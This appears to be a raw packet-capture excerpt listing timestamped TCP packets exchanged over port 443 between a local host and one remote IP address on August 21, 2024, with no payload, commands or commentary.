Aug 21, 2024 09:39:58.349180937 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.349209070 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.349245071 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.349267006 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.349288940 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.349685907 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.349693060 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.349700928 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.349715948 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.349737883 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.349772930 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.349772930 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.349778891 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.350838900 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.350860119 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.350894928 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.350903988 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.350918055 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.350948095 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.351397038 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.351414919 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.351461887 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.351470947 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.353750944 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.431955099 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.432019949 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.432071924 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.432101965 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.432120085 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.432163000 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.432197094 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.432241917 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.432256937 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.432265997 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.432286978 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.432301998 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.432907104 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.432948112 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.432980061 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.432986975 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.433021069 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.433459044 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.433499098 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.433521986 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.433532000 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.433553934 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.433569908 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.435650110 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.435710907 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.435725927 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.435746908 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.435770035 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.435787916 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.436348915 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.436398029 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.436431885 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.436441898 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.436470032 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.436507940 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.437180996 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.437220097 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.437254906 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.437268019 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.437288046 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.437305927 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.437797070 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.437836885 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.437868118 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.437875986 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.437901974 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.437920094 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.518551111 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.518634081 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.518682003 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.518698931 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.518712044 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.518733025 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.518973112 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.519022942 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.519045115 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.519052982 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.519083023 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.519089937 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.519239902 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.519289017 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.519304037 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.519314051 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.519335032 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.519349098 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.520127058 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.520190001 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.520195007 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.520220041 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.520242929 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.520261049 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.522274017 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.522326946 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.522362947 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.522376060 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.522387981 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.522733927 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.522785902 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.522797108 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.522818089 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.522836924 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.522861958 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.523648024 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.523699999 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.523722887 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.523736000 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.523747921 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.523960114 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.524008989 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.524023056 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.524034023 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.524055004 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.524082899 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.604558945 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.604585886 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.604621887 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.604640007 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.604665995 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.604686975 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.605133057 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.605149984 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.605179071 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.605185986 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.605209112 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.605226040 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.605587006 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.605602980 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.605645895 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.605652094 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.605674982 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.605694056 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.606230974 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.606249094 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.606293917 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.606302977 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.606324911 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.606340885 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.608347893 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.608366013 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.608417034 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.608431101 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.608448029 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.608526945 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.608932972 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.608949900 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.608994007 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.609004974 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.609023094 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.609045029 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.609786987 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.609805107 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.609850883 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.609867096 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.609997988 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.610287905 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.610304117 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.610331059 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.610337019 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.610363960 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.610382080 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.690896034 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.690923929 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.690963984 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.690982103 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.691006899 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.691032887 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.691342115 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.691366911 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.691404104 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.691415071 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.691437960 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.691445112 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.691977024 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.691993952 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.692028999 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.692035913 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.692061901 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.692085981 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.692578077 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.692606926 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.692636013 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.692646980 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.692667007 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.692683935 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.694713116 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.694729090 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.694766045 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.694777966 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.694802999 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.694818974 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.695378065 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.695395947 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.695425987 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.695436001 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.695460081 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.695478916 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.696099997 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.696120977 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.696150064 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.696157932 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.696187019 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.696197033 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.696592093 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.696630955 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.696655989 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.696664095 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.696685076 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.696701050 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.777359962 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.777385950 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.777466059 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.777487040 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.777692080 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.777816057 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.777832031 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.777859926 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.777868032 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.777892113 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.777908087 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.778522968 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.778549910 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.778580904 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.778588057 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.778608084 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.778623104 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.779069901 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.779092073 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.779115915 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.779122114 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.779144049 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.779161930 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.781147003 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.781162024 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.781203032 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.781209946 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.781241894 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.781770945 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.781786919 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.781815052 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.781820059 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.781838894 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.781852961 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.782392979 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.782412052 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.782453060 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.782459974 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.782821894 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.782843113 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.782864094 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.782870054 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.782891989 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.782917023 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.863838911 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.863864899 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.863914967 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.863931894 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.863960981 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.863986969 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.864332914 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.864351034 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.864384890 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.864392042 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.864424944 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.864443064 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.864842892 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.864860058 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.864909887 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.864918947 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.864969015 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.865443945 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.865458965 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.865498066 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.865504026 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.865533113 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.865545988 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.867626905 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.867643118 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.867681980 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.867690086 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.867721081 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.867753029 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.868185997 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.868201017 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.868251085 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.868261099 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.868304968 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.868763924 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.868777990 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.868808985 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.868814945 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.868834972 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.868855953 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.869328976 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.869344950 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.869379997 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.869385958 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.869411945 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.869431019 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.950107098 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.950128078 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.950169086 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.950191975 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.950220108 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.950243950 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.950675964 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.950717926 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.950735092 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.950741053 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.950764894 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.950789928 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.951116085 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.951131105 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.951190948 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.951198101 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.951222897 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.951236010 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.951782942 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.951797962 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.951874018 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.951881886 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.952012062 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.953797102 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.953811884 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.953864098 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.953870058 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.953910112 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.953943014 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:58.954667091 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:58.954684019 CEST	443	63778	185.199.108.133	192.168.2.6
